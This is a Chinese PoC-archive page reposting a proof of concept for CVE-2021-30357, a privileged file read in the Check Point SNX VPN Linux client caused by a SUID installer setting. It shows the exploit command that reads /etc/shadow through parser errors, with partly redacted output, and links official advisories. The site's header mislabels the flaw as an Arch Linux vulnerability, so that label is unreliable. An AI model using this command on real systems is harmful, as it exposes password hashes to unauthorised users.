目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2021-30357 PoC — Arch Linux安全漏洞

来源
关联漏洞
标题: Arch Linux安全漏洞 (CVE-2021-30357)
Description:Arch Linux是Arch开源的一个应用系统。一个轻量级且灵活的Linux®发行版,试图使它保持简单。 Arch Linux存在安全漏洞,该漏洞允许部分显示用户没有访问的文件。
Description
Proof-of-Concept for privileged file read through CheckPoint SNX VPN Linux Client 
介绍
# CVE-2021-30357_CheckPoint_SNX_VPN_PoC
Proof-of-Concept for privileged file read through CheckPoint SNX VPN Linux Client.

# Affected Version

- CheckPointVPN_SNX_Linux_800007075.sh
- MD5 Checksum: 4372e9936e2dfb1d1ebcef3ed4dd7787


# Exploit 

To exploit just load any file as SNX config using the `-f` paremeter. If the file is not a valid SNX config, it will throw an error and display syntax error, leaking the contents until string terminator is found (e.g. `etc/shadow`):

```bash
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)
```

# Vulnerability 

The cause is due to the executable `/usr/bin/snx` having the SETUID bit and running as super-user, set during installation.

In particular, the variable COMMAND_TO_RUN defined in .sh installation file (`CheckPointVPN_SNX_Linux_800007075.sh`):

```bash
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
```
 
In the parameter `--mode=u=rxs`, the last `s` sets the SUID bit, thus leading to run the executable binary as root.


# Official Advisory

- https://support.checkpoint.com/results/sk/sk173513
- https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →